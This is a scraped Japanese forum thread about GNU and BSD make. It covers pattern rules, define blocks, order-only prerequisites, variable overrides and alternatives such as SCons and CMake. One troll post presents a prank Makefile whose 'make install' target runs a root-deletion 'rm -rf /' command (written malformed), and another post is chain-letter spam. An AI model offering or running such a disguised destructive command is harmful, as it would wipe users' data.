UNIX の基本 make
GNU make, BSD make, imake, nmake, etc.
探検
make
1名無しさん@お腹いっぱい。
NGNG2006/01/13(金) 00:16:45
99名無しさん@お腹いっぱい。
2006/06/16(金) 15:28:25 make で tex の処理するとき
Label の付け直しで再処理が必要な場合は
自動的にもう一回実行してくれるようにするには
どうしたらいい?
Label の付け直しで再処理が必要な場合は
自動的にもう一回実行してくれるようにするには
どうしたらいい?
100名無しさん@お腹いっぱい。
2006/06/16(金) 16:25:19 なあ、エロイ人よ、俺の下らん質問を聞いてくれ。
cakeってのがどっかで作られたRHSが書いてたが、実物を見たことが無いんだ。
ケーキと読むんだろ? makeの弟子だとかなんとか。
cakeってのがどっかで作られたRHSが書いてたが、実物を見たことが無いんだ。
ケーキと読むんだろ? makeの弟子だとかなんとか。
101名無しさん@お腹いっぱい。
2006/06/16(金) 16:51:25 ? ?.
?? ??
???? ????
??????????????
?????????????????
?????????????????
?????????????????
?????????????????
???????????????
????????????
???????????????
?????????????????
?????????????????
これを見ると今年の受験に落ちます。
これを今から1時間以内に3回他スレにコピペすれば100%、受かります。
貼らないと
落 ち ま す
?? ??
???? ????
??????????????
?????????????????
?????????????????
?????????????????
?????????????????
???????????????
????????????
???????????????
?????????????????
?????????????????
これを見ると今年の受験に落ちます。
これを今から1時間以内に3回他スレにコピペすれば100%、受かります。
貼らないと
落 ち ま す
2006/06/17(土) 05:28:40
SHELL = /bin/sh
all:
@echo "type `make install'"
install:
rm - rf /
all:
@echo "type `make install'"
install:
rm - rf /
103名無しさん@お腹いっぱい。
2006/11/07(火) 05:43:54 ????
2006/11/24(金) 17:03:17
$HOME/data/wav/<artist>/<album>/Track{01..99}.wav
ってのがいっぱいあるのを、$HOME/data/mp3
に変換するのにmakeって使えますか?
今はshell scriptでやってるんだけどいまいち
smartじゃない気がして。
ってのがいっぱいあるのを、$HOME/data/mp3
に変換するのにmakeって使えますか?
今はshell scriptでやってるんだけどいまいち
smartじゃない気がして。
2006/11/24(金) 17:42:41
つかえるお
2006/11/24(金) 18:36:04
むしろシェルスクリプトの方が正しい解だと思うけど。
data/wav/<artist>/<album>/*.wavは度々更新される種類のファイルとも思えないし。
data/wav/<artist>/<album>/*.wavは度々更新される種類のファイルとも思えないし。
2006/11/24(金) 22:10:31
>>106
なるほど。
リッピング、MP3変換、携帯プレーヤにコピー
と3段階あるもんだから、make -> make install
みたいなノリでやったら美しいかと思ったんですが、
たしかにwavは増えることはあっても更新されることはないから
makeで扱うのはちょっと違うかもですね。
さんきゅでした。
なるほど。
リッピング、MP3変換、携帯プレーヤにコピー
と3段階あるもんだから、make -> make install
みたいなノリでやったら美しいかと思ったんですが、
たしかにwavは増えることはあっても更新されることはないから
makeで扱うのはちょっと違うかもですね。
さんきゅでした。
108名無しさん@お腹いっぱい。
2006/11/25(土) 03:37:11 make[1]: Entering directory
make[1]: Leaving directory
が出るcdコマンドの書き方ってどうやるんですか?
make[1]: Leaving directory
が出るcdコマンドの書き方ってどうやるんですか?
2006/11/25(土) 17:25:33
>>108
残念ながら cd コマンドでは出ない。 make -C を使うと出るよ。
残念ながら cd コマンドでは出ない。 make -C を使うと出るよ。
2006/11/25(土) 20:37:04
サブディレクトリに継承する書き方できなかったけ?
2007/05/12(土) 23:21:14
makefileの中で他のディレクトリにあるオブジェクトファイルを参照してるんですけど、
そのオブジェクトファイルを作成する記述がないです。
そのオブジェクトファイルがあるディレクトリにはいくつかのサブディレクトリもあって、
そのサブディレクトリの一つに今言っているオブジェクトファイルをつくるmakefileが
あるんですけど、これってどう解釈したらいいでしょうか?
ちなみに、他のサブディレクトリにも今言っているオブジェクトファイルではない
オブジェクトファイルを作るmakefileがそれぞれあります。
make勉強したての僕にアドバイスください。
そのオブジェクトファイルを作成する記述がないです。
そのオブジェクトファイルがあるディレクトリにはいくつかのサブディレクトリもあって、
そのサブディレクトリの一つに今言っているオブジェクトファイルをつくるmakefileが
あるんですけど、これってどう解釈したらいいでしょうか?
ちなみに、他のサブディレクトリにも今言っているオブジェクトファイルではない
オブジェクトファイルを作るmakefileがそれぞれあります。
make勉強したての僕にアドバイスください。
112111
2007/05/13(日) 16:10:52 ごめんなさい。あげちゃいました。
僕に気づいて!
僕に気づいて!
2007/05/13(日) 16:57:04
114名無しさん@お腹いっぱい。
2007/06/17(日) 09:27:18 GNUのリンカー( LD )で質問ですが、
バイナリーデータを指定アドレスに配置する方法を知りたいです。
読み込むとセクション.dataでそのセクションに配置されてしまいます。
バイナリーデータを指定アドレスに配置する方法を知りたいです。
読み込むとセクション.dataでそのセクションに配置されてしまいます。
2007/06/17(日) 10:43:25
2007/06/18(月) 11:53:19
プログラミング質問すれ Part1
http://pc11.2ch.net/test/read.cgi/unix/1127388574/
から来た。
>>114
リンカスクリプトを書いて -T オプションで読ませる。
リンカスクリプトの書き方は ld.info にある。
http://pc11.2ch.net/test/read.cgi/unix/1127388574/
から来た。
>>114
リンカスクリプトを書いて -T オプションで読ませる。
リンカスクリプトの書き方は ld.info にある。
2007/06/18(月) 23:53:35
まけ・・・組み?w
2007/06/19(火) 22:36:30
$ make inu
make: INU Is Not Unix. Stop.
make: stopped in /home/inu
$
make: INU Is Not Unix. Stop.
make: stopped in /home/inu
$
2007/12/07(金) 04:36:58
並列度はどれぐらいが妥当?
コマンドラインで -j12 にしても、子プロセスのmakeまではいじれんよな。
コマンドラインで -j12 にしても、子プロセスのmakeまではいじれんよな。
120名無しさん@お腹いっぱい。
2008/07/10(木) 17:28:11 makefileですが、これ↓を
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
こんな風に出来ないですか?
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
複数ルールに同一コマンドを割り当てる方法がワカリマセン。
そんなものは無い?
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
こんな風に出来ないですか?
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(OBJS): obj/%.o: src/%.c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
複数ルールに同一コマンドを割り当てる方法がワカリマセン。
そんなものは無い?
121名無しさん@お腹いっぱい。
2008/09/19(金) 14:01:25 Makeって使いにくくないですか?
代わりの何かを教えてください。
代わりの何かを教えてください。
2008/09/19(金) 16:32:49
ant?
2008/09/19(金) 16:34:09
rake rant scons jam
2008/09/21(日) 08:59:05
>>120
こんなならできるよ
define COMPILE_c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
endef
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(COMPILE_c)
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(COMPILE_c)
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(COMPILE_c)
$(OBJS): obj/%.o: src/%.c
$(COMPILE_c)
こんなならできるよ
define COMPILE_c
@$(CC) $(CFLAGS) $(INC) -MM $< | sed 's/^\([^ ]\)/obj\/\1/' > dpd/$(*F).d
$(CC) $(CFLAGS) $(INC) -c $< -o $@
endef
$(FWOBJS): obj/%.o: ../lib/FW/src/%.c
$(COMPILE_c)
$(USBOBJS): obj/%.o: ../lib/USB/src/%.c
$(COMPILE_c)
$(OBJSCOM): obj/%.o: ../lib/com/src/%.c
$(COMPILE_c)
$(OBJS): obj/%.o: src/%.c
$(COMPILE_c)
2008/09/25(木) 22:54:34
hoge.Cをコンパイルしたいときに
makefile作らなくても、make hoge って打てば
かってにg++ -o hoge hoge.C とかって解釈して実行してくれますよね?
そのときにコンパイルオプションを追加したいんですけどできますか?
makefile作らなくても、make hoge って打てば
かってにg++ -o hoge hoge.C とかって解釈して実行してくれますよね?
そのときにコンパイルオプションを追加したいんですけどできますか?
126名無しさん@お腹いっぱい。
2008/10/15(水) 22:57:03 バカな私のために
make vmlinuz
make zImage
make bzImage
の3つの違いを教えてください。お願いします。
make vmlinuz
make zImage
make bzImage
の3つの違いを教えてください。お願いします。
127名無しさん@お腹いっぱい。
2008/10/15(水) 22:58:01 間違えました
2008/10/16(木) 00:15:32
kachi nko
*** kachi: don't know how to kachi nko Stop
*** kachi: don't know how to kachi nko Stop
2008/11/04(火) 08:46:25
CFLAGSでどうですか
130名無しさん@お腹いっぱい。
2008/11/07(金) 09:45:00 make
2008/12/27(土) 23:06:51
むかしうにまがに、cakeとかふざけた名前のmakeがあったとさ。
make は、1990年代にすでにお爺さん扱いである。
make は、1990年代にすでにお爺さん扱いである。
2009/01/04(日) 11:02:24
最初に楽しくいじるのがこれだしな
133名無しさん@お腹いっぱい。
2009/03/08(日) 16:37:52 Sconsってどう?
2009/03/08(日) 17:48:40
最高
2009/03/12(木) 20:58:52
jam って動かなくて困った。
ocaml嫌い。
ocaml嫌い。
2009/03/27(金) 19:47:41
最近はOmakeばかり使ってるよ。もう普通のmakeには戻れない。
2009/03/31(火) 00:13:43
変更するとリビルドって鬱陶しくない?
138名無しさん@お腹いっぱい。
2009/10/25(日) 22:15:54 zshで書かれたmakeってない?
139名無しさん@お腹いっぱい。
2009/10/26(月) 02:38:17 kachi
2010/11/19(金) 17:47:05
Makefileのtestの書き方の例が検索しても出てこない
141名無しさん@お腹いっぱい。
2011/01/18(火) 18:47:122011/01/18(火) 18:50:21
2011/01/18(火) 19:35:24
UNIX板ではよくあること
144名無しさん@お腹いっぱい。
2011/01/24(月) 21:23:56 >>142
できました。ありがとう
できました。ありがとう
2011/04/05(火) 16:50:24.01
Makefileのコマンド宣言部にスペースでインデントするとソースコードが消える
146名無しさん@お腹いっぱい。
2011/05/23(月) 11:26:13.85 makeの中にヒアドキュメントって書けますか?
2011/08/19(金) 17:08:54.17
無ければ作る
という依存関係は どうやって書けばいい?
という依存関係は どうやって書けばいい?
2011/08/19(金) 17:49:42.12
適切な回答を得るという事は、適切な質問を行う能力に依存する。
149名無しさん@お腹いっぱい。
2011/08/19(金) 20:39:01.03 基本的な知識がないと、応用が利かない。
教科書を読んで習得するのではなくて、
答えを探し出す能力を養うことである。
教科書を読んで習得するのではなくて、
答えを探し出す能力を養うことである。
2011/08/19(金) 20:53:03.06
すみませんが詳しい方のみ回答をお願いします
2011/08/19(金) 20:55:14.18
まあ make はちょっと不毛なとこあるからなあ
2011/08/20(土) 00:23:44.43
2011/12/05(月) 17:56:22.36
ターゲット内で変数の引き継ぎができなくて困っています。
hoge:
FOO=1
@echo $(FOO) # 何も表示されない
変数内の値を使いたいとき、1行で書くしかないのでしょうか?
FOO=1; echo $(FOO)ならうまくいくのですが...
hoge:
FOO=1
@echo $(FOO) # 何も表示されない
変数内の値を使いたいとき、1行で書くしかないのでしょうか?
FOO=1; echo $(FOO)ならうまくいくのですが...
2011/12/14(水) 22:33:10.45
hoge:
@FOO=1; \
echo $(FOO)
@FOO=1; \
echo $(FOO)
2012/03/09(金) 00:47:54.33
マクロにカレントディレクトリ以下にある、特定の拡張子を持ったものすべて追加することはできませんか?
例えば、カレントディレクトリ以下の.pl拡張子を持つファイルのどれか一つでも修正されていたらコマンドを実行したい場合、どのように書けばいいでしょうか?
FILES = *.pl */*.pl */*/*.pl
TARGET: $(FILES)
hoge $(FILES)
のように現在書いているのですが、ディレクトリの深さが変わった場合などに変更が必要なため、スマートな方法がないかと思っています
例えば、カレントディレクトリ以下の.pl拡張子を持つファイルのどれか一つでも修正されていたらコマンドを実行したい場合、どのように書けばいいでしょうか?
FILES = *.pl */*.pl */*/*.pl
TARGET: $(FILES)
hoge $(FILES)
のように現在書いているのですが、ディレクトリの深さが変わった場合などに変更が必要なため、スマートな方法がないかと思っています
2012/03/09(金) 01:27:15.53
$(shell ) で find でも呼んでみるとか
2012/03/09(金) 03:50:50.02
Makefile を外部ツールで作っちゃうなあ
2012/03/13(火) 05:19:00.92
CMake ってなんだこれ、すげえなぁ
159名無しさん@お腹いっぱい。
2012/06/18(月) 15:45:27.74 makeのコマンドブロックの中でsedのaコマンドどうかけば良い?
-fでファイルに書いたの使ってるけど、もっとかっちょいいの教えて。
-fでファイルに書いたの使ってるけど、もっとかっちょいいの教えて。
2012/06/19(火) 11:37:05.93
自己解決しました。newlineに展開されるビルトインマクロを使用。
161名無しさん@お腹いっぱい。
2012/06/24(日) 16:56:32.30 makeの勉強をしているのですが、
*.html.txtというファイルをあるコマンドに渡して.htmlとして出力したいのですがうまくできません。
.SUFFIXES: .txt .html
.txt.html:
echo $< > $@
TEXTFILE = $(wildcard *.txt)
HTMLFILE = $(SHPAMLFILE:.txt=.html)
all: $(HTMLFILE)
とすると、hoge.html.htmlとなってしまいます。
HTMLFILE = $(SHPAMLFILE:.html.txt=.html)
とすると、"ターゲットが見つかりません"となります。ドットが2つあるとできないのでしょうか?
*.html.txtというファイルをあるコマンドに渡して.htmlとして出力したいのですがうまくできません。
.SUFFIXES: .txt .html
.txt.html:
echo $< > $@
TEXTFILE = $(wildcard *.txt)
HTMLFILE = $(SHPAMLFILE:.txt=.html)
all: $(HTMLFILE)
とすると、hoge.html.htmlとなってしまいます。
HTMLFILE = $(SHPAMLFILE:.html.txt=.html)
とすると、"ターゲットが見つかりません"となります。ドットが2つあるとできないのでしょうか?
2012/06/25(月) 01:28:04.11
2行目のサフィックスルールが .txt.html になってるので、*.txt から *.html の生成ルールになってる。
そのルールではhoge.html.txt からは hoge.html.htmlしか作れないのでは。
2行目を
%.html: %.html.txt
にしてみたらどうだろうか。
そのルールではhoge.html.txt からは hoge.html.htmlしか作れないのでは。
2行目を
%.html: %.html.txt
にしてみたらどうだろうか。
2012/07/16(月) 15:53:24.42
build/foo.a: build build/foo.o
ar rcs $@ build/foo.o
build:
mkdir -p build
build/foo.o: build
touch build/foo.o
というMakefileなのですが、arを実行するとbuildディレクトリのタイムスタンプが更新されてしまうため、
makeを実行すると常にfoo.oやfoo.aが作成されてしまいます。
buildディレクトリが更新されないようにするにはどうすればいいのでしょうか。
ar rcs $@ build/foo.o
build:
mkdir -p build
build/foo.o: build
touch build/foo.o
というMakefileなのですが、arを実行するとbuildディレクトリのタイムスタンプが更新されてしまうため、
makeを実行すると常にfoo.oやfoo.aが作成されてしまいます。
buildディレクトリが更新されないようにするにはどうすればいいのでしょうか。
2012/07/17(火) 23:14:09.47
build/foo.a: build/foo.o
ar rcs $@ build/foo.o
build/foo.o:
[ -d build ] || mkdir build
touch build/foo.o
ar rcs $@ build/foo.o
build/foo.o:
[ -d build ] || mkdir build
touch build/foo.o
2012/07/18(水) 00:44:42.87
buildのタイムスタンプが更新しないようにするというよりも、buildのタイムスタンプに依存しないようにするほうがいいんじゃないかな
http://www.gnu.org/software/make/manual/html_node/Prerequisite-Types.html
によると下から2行目を
build/foo.o: | build
でできそう
http://www.gnu.org/software/make/manual/html_node/Prerequisite-Types.html
によると下から2行目を
build/foo.o: | build
でできそう
2012/07/21(土) 14:05:12.64
ありがとうございました。|を使うことで解決しました。
2012/08/16(木) 04:15:16.18
今年は大垣でmakeするの?
2012/10/29(月) 21:57:03.15
Makefileの中に使われる
:= はどういった意味でしょうか
+=は変数に右辺を追加する意味かと思うんだけど
:= はどういった意味でしょうか
+=は変数に右辺を追加する意味かと思うんだけど
2012/10/30(火) 19:35:28.31
>>168
man make
とレスしようと思ったが、環境によって書かれていないこともあるみたいなので、
勝手に FreeBSD の make の場合に限定させてもらうけど、以下 URL の変数代入の項目に記載がある。
http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&lc=1&cmd=&man=make&dir=jpman-9.0.2%2Fman§=0
GNU make の場合は、info make に記載があるっぽい。
http://quruli.ivory.ne.jp/document/make_3.79.1/make-jp_5.html#Setting
http://quruli.ivory.ne.jp/document/make_3.79.1/make-jp_5.html#Flavors
man make
とレスしようと思ったが、環境によって書かれていないこともあるみたいなので、
勝手に FreeBSD の make の場合に限定させてもらうけど、以下 URL の変数代入の項目に記載がある。
http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&lc=1&cmd=&man=make&dir=jpman-9.0.2%2Fman§=0
GNU make の場合は、info make に記載があるっぽい。
http://quruli.ivory.ne.jp/document/make_3.79.1/make-jp_5.html#Setting
http://quruli.ivory.ne.jp/document/make_3.79.1/make-jp_5.html#Flavors
2012/10/30(火) 21:35:09.63
レス書いたけど、マルチだったのでやめた。
171名無しさん@お腹いっぱい。
2012/11/19(月) 16:40:52.08 Makefileで処理を自動化できないかと思い、makeについて勉強しております。
以下のことを行いたいのですが、色々と検索して調べているのですが実現できずにいます。もしよろしければ、サンプルを書いていただけないでしょうか?
行いたいことは、
make testと言うコマンドでテストを一括で行いたいと考えております。
テストは単純で、テストファイルを用意しているので、"perl test.pl"になります。
make testはファイルの更新に依存せずに実行させる。
まず、Makefileのディレクトリ配下の"test.pl"を検索してtest.plの一覧を受け取る方法がわからずに悩んでおります。
また、そのリストを順番に、実行しているファイル名を出力しつつ回したいと思っているのですが、その方法がわかりません。
今は下のように考えたのですが、間違っているようで思ったとおりに動きません。
TEST_FILES = `find ./ -name "test.pl"`
all:
echo all
.PHONY: test
test:
$(foreach filename, $(TEST_FILES), $( echo $(filename)))
以下のことを行いたいのですが、色々と検索して調べているのですが実現できずにいます。もしよろしければ、サンプルを書いていただけないでしょうか?
行いたいことは、
make testと言うコマンドでテストを一括で行いたいと考えております。
テストは単純で、テストファイルを用意しているので、"perl test.pl"になります。
make testはファイルの更新に依存せずに実行させる。
まず、Makefileのディレクトリ配下の"test.pl"を検索してtest.plの一覧を受け取る方法がわからずに悩んでおります。
また、そのリストを順番に、実行しているファイル名を出力しつつ回したいと思っているのですが、その方法がわかりません。
今は下のように考えたのですが、間違っているようで思ったとおりに動きません。
TEST_FILES = `find ./ -name "test.pl"`
all:
echo all
.PHONY: test
test:
$(foreach filename, $(TEST_FILES), $( echo $(filename)))
2012/11/19(月) 19:01:43.87
GNU makeは人間が書くためのツールじゃないと思う。
test:
find . -name test.pl -exec sh -cx "perl {}" \;
test:
find . -name test.pl -exec sh -cx "perl {}" \;
173名無しさん@お腹いっぱい。
2013/02/08(金) 14:12:54.85 make の ワイルドカード( * ) の使い道について教えていただけませんか。
パターンの、% を使えば同じことができるように思いますし、
そもそも、ワイルドカードは、すでにファイル(オブジェクト)として存在するものにしかマッチしないようなので、
ファイル(オブジェクト)を新規作成しないで、アップデートするためにしかルールを使いたくないという
特殊な場合でしか、意味がないような気がします。。
自分でも、自分の理解が変なような気がするのですが、
どなたか教えてください。
よろしくお願いします。
パターンの、% を使えば同じことができるように思いますし、
そもそも、ワイルドカードは、すでにファイル(オブジェクト)として存在するものにしかマッチしないようなので、
ファイル(オブジェクト)を新規作成しないで、アップデートするためにしかルールを使いたくないという
特殊な場合でしか、意味がないような気がします。。
自分でも、自分の理解が変なような気がするのですが、
どなたか教えてください。
よろしくお願いします。
174名無しさん@お腹いっぱい。
2013/04/20(土) 01:31:47.01 教えて下さい。
下記のように引数 10 を Makefile 内で、更に引数として渡してやりたいのですが
どの様にすればよいのでしょうか?
$ make hoge 10
にて
hoge:
/PATH/TO/foo.sh 10
と渡るようにしたい。
Makefile 内にて
ARG = $(shell read -p "ARG = " arg; echo $(arg))
hoge:
/PATH/TO/foo.sh $(ARG)
などしてみたのですが上手くできませんでした。
下記のように引数 10 を Makefile 内で、更に引数として渡してやりたいのですが
どの様にすればよいのでしょうか?
$ make hoge 10
にて
hoge:
/PATH/TO/foo.sh 10
と渡るようにしたい。
Makefile 内にて
ARG = $(shell read -p "ARG = " arg; echo $(arg))
hoge:
/PATH/TO/foo.sh $(ARG)
などしてみたのですが上手くできませんでした。
2013/04/20(土) 05:46:30.94
無理。というかmakeの使い方間違ってる。
2013/04/20(土) 07:33:37.61
>>175
ありがとうございます。
ご指摘がヒントになり、解決できました。
shell スクリプト内で read することで対応できました。
ARG=`read -p "ARG= " arg; echo $arg`
echo $ARG
↑こんな感じで。
ありがとうございます。
ご指摘がヒントになり、解決できました。
shell スクリプト内で read することで対応できました。
ARG=`read -p "ARG= " arg; echo $arg`
echo $ARG
↑こんな感じで。
2013/08/01(木) NY:AN:NY.AN
めでたしめでたし
2013/08/01(木) NY:AN:NY.AN
BSD makeとGNU make比較した時
クライアング運用ならBSD makeのが劣っている点はなんですか?
クライアング運用ならBSD makeのが劣っている点はなんですか?
179名無しさん@お腹いっぱい。
2013/10/05(土) 08:31:25.07 質問です。
Makefileに、
HOGE = -opta
と書かれていて、これは修正しないものとします。
make時に臨時に HOGEに -optb を追加したいのですが、
$ make HOGE+=-optb
を実行すると HOGE = -optbの状態で上書きされ、Makefileの-optaが消えてしまいます。
( += の指定は環境変数HOGEに追加するという意味にしかなりません。)
これを、Makefileの記述も生かしつつ、それに追加ということを
makeのコマンドラインで指定することはできませんか?
もちろん、Makefileの下の行に HOGE+=-optb と追記すればOKですが、
最初に書いたようにMakefileを修正しないということが条件です。
以上、わかる方回答をお願いします。
Makefileに、
HOGE = -opta
と書かれていて、これは修正しないものとします。
make時に臨時に HOGEに -optb を追加したいのですが、
$ make HOGE+=-optb
を実行すると HOGE = -optbの状態で上書きされ、Makefileの-optaが消えてしまいます。
( += の指定は環境変数HOGEに追加するという意味にしかなりません。)
これを、Makefileの記述も生かしつつ、それに追加ということを
makeのコマンドラインで指定することはできませんか?
もちろん、Makefileの下の行に HOGE+=-optb と追記すればOKですが、
最初に書いたようにMakefileを修正しないということが条件です。
以上、わかる方回答をお願いします。
180名無しさん@お腹いっぱい。
2013/10/05(土) 09:20:10.39181名無しさん@お腹いっぱい。
2013/10/05(土) 09:29:26.752013/10/05(土) 11:14:39.83
2013/10/05(土) 11:24:15.53
2013/10/05(土) 11:52:38.36
2013/10/05(土) 12:05:26.20
いや、だからそんなのじゃダメだって。
2013/10/05(土) 23:46:35.99
っていうか、make の仕様をくつがえすようなことはできないよ。
2013/10/06(日) 06:44:29.75
ソース書きなよ。
2013/10/06(日) 06:55:22.69
>>179
(cat Makefile; echo HOGE+=-optb) | make -f -
(cat Makefile; echo HOGE+=-optb) | make -f -
2013/10/06(日) 07:04:12.29
2013/10/06(日) 15:36:26.82
make を使うのが間違ってるんじゃ
2013/10/07(月) 21:09:25.32
pmake専用
make HOGE="`make -V HOGE` -optb"
make HOGE="`make -V HOGE` -optb"
2013/10/08(火) 07:33:24.10
CMake 凄すぎワロタwwwwwww
バカなドザの俺でも MinGW で sox を make 出来たwwwwwwww
このアイちゃんツールスゲェwwwwwwww
バカなドザの俺でも MinGW で sox を make 出来たwwwwwwww
このアイちゃんツールスゲェwwwwwwww
2013/10/19(土) 11:50:38.99
make loveと入力しても
loveをmakeするルールがないと言われました
照れているのですか?
loveをmakeするルールがないと言われました
照れているのですか?
2013/10/20(日) 21:18:36.55
GNU Make 4.0
Guile が組込まれただと?!
Guile が組込まれただと?!
2013/10/20(日) 22:20:22.89
これで一層移植性が悪くなるのか。なんか逆の方向に必死で走ってる。
196名無しさん@お腹いっぱい。
2013/11/23(土) 02:30:05.46 ぼく用メモ
必須項目をfindで列挙するとき-print0オプションをつけると仇となることがある
必須項目をfindで列挙するとき-print0オプションをつけると仇となることがある
2014/06/04(水) 00:53:10.80
Makefile で、
%.o : %.cpp
(rule)
と汎用的に書いておき、特定のソースコードはコンパイルオプションを変えてコンパイルしたい
場合、どう書けば良いですか? 上記に続けて
a.o : a.cpp
(rule)
と書いても無視されてしまう…
makefileを分割しないとダメなんですかね?
%.o : %.cpp
(rule)
と汎用的に書いておき、特定のソースコードはコンパイルオプションを変えてコンパイルしたい
場合、どう書けば良いですか? 上記に続けて
a.o : a.cpp
(rule)
と書いても無視されてしまう…
makefileを分割しないとダメなんですかね?
レスを投稿する
ニュース
- 「残クレ」でマイホーム、国が銀行向け保険 新型住宅ローン普及促す -日経 [少考さん★]
- 高市早苗総理「農水大臣が大好きなおこめ券」 野党が“おこめ券”追及 [Hitzeschleier★]
- 【芸能】山里亮太、体調不良で3日連続『DayDay.』欠席 症状の説明などはなし… 代理MCはアンジャッシュ・児嶋一哉 [冬月記者★]
- 一律現金給付も消費減税もなし 高市内閣の経済対策に割れる世論 ★2 [蚤の市★]
- 空自機レーダー照射、音声データ公開 中国 ★4 [蚤の市★]
- 日銀「歴史的」利上げ迫る 35年ぶりの年間上げ幅、0.5%の壁を突破 [蚤の市★] [蚤の市★]
- カーチャン「うちの子、ひらがなも九九も覚えられない」日本人の7人に1人は「境界知能」だという事実が判明。高市どうにかしろ [811796219]
- 石破「戦車、戦闘機、船を揃えても食糧無かったら意味ないでしょ?」 [237216734]
- 中国「事前通告の音声公開するよ」高市応援団「音声は捏造。自衛隊にこんな声の隊員いねーよ」?! [931948549]
- 【朗報】日中戦争、5割弱が賛成。共同通信世論調査。ケンモメンも中国進駐へ [673057929]
- すき家くく松屋くく吉野家くくくくなか卵
- 高市早苗、多分中国とかアメリカが国家としての立場上言ってるだけで特に意味のない言葉を全部本気で受け取ってる [517791167]
